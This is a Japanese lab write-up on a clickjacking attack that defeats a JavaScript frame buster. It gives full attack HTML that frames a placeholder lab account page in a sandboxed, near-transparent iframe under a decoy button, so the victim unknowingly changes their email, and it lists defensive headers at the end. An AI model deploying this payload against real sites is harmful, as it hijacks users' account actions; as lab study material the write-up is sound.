LAB: フレームバスターを回避したクリックジャッキング攻撃

Hello there, ('ω')ノ

🔍 フレームバスターとは？

フレームバスターは、ウェブページが他のページにフレーム（iframe）として読み込まれるのを防ぐためのJavaScriptコードです。典型的な実装は以下のようなものです：

if (top != self) {
  window.addEventListener("DOMContentLoaded", function() {
    document.body.innerHTML = 'This page cannot be framed';
  }, false);
}

このコードは、ページがトップレベルのウィンドウでない場合（つまり、iframe内で読み込まれた場合）、ページの内容を変更して表示を防ぎます。

🛠️ 攻撃手順

1. 攻撃用HTMLの作成

まず、攻撃者が用意するHTMLページを作成します。このページには、ターゲットとなるウェブサイトのアカウントページをiframeで読み込み、その上に「Click me」と書かれた透明なボタンを配置します。

<!DOCTYPE html>
<html>
<head>
  <style>
    iframe {
      position: relative;
      width: 700px;
      height: 600px;
      opacity: 0.0001;
      z-index: 2;
      border: none;
    }
    div {
      position: absolute;
      top: 450px;
      left: 50px;
      z-index: 1;
      font-size: 20px;
      background-color: #ccc;
      padding: 10px;
      cursor: pointer;
    }
  </style>
</head>
<body>
  <div>Click me</div>
  <iframe sandbox="allow-forms" src="https://YOUR-LAB-ID.web-security-academy.net/my-account?email=attacker@example.com"></iframe>
</body>
</html>

ポイント：

sandbox="allow-forms" 属性をiframeに追加することで、フレームバスターのJavaScriptが実行されるのを防ぎます。
opacity: 0.0001 により、iframeをほぼ完全に透明にします。
top と left の値を調整して、「Click me」ボタンがターゲットの「Update email」ボタンの上に重なるようにします。

2. 攻撃の実行

攻撃者は、このHTMLページを被害者に開かせます。被害者が「Click me」ボタンをクリックすると、実際には透明なiframe内の「Update email」ボタンがクリックされ、メールアドレスが攻撃者の指定したものに変更されます。

🧠 攻撃成功のポイント

iframeの透明度： 初めは opacity: 0.1 に設定して、ボタンの位置合わせを確認し、最終的には 0.0001 に設定します。
ボタンの位置合わせ： 「Click me」ボタンと「Update email」ボタンが正確に重なるように、CSSの top と left の値を微調整します。
メールアドレスの指定： 攻撃者が指定するメールアドレスは、被害者のアカウントで未使用のものである必要があります。

🛡️ 防御策

このようなクリックジャッキング攻撃を防ぐためには、以下の対策が有効です：

X-Frame-Options ヘッダーの設定： DENY または SAMEORIGIN を指定することで、他のサイトからのフレーミングを防ぎます。
Content-Security-Policy ヘッダーの設定： frame-ancestors 'none'; を指定することで、すべてのフレーミングを禁止できます。
重要な操作の確認： メールアドレスの変更など、重要な操作を行う際には、ユーザーに再確認を求めることで、誤操作を防ぎます。

Best regards, (^^ゞ

Shikata Ga Nai

Private? There is no such things.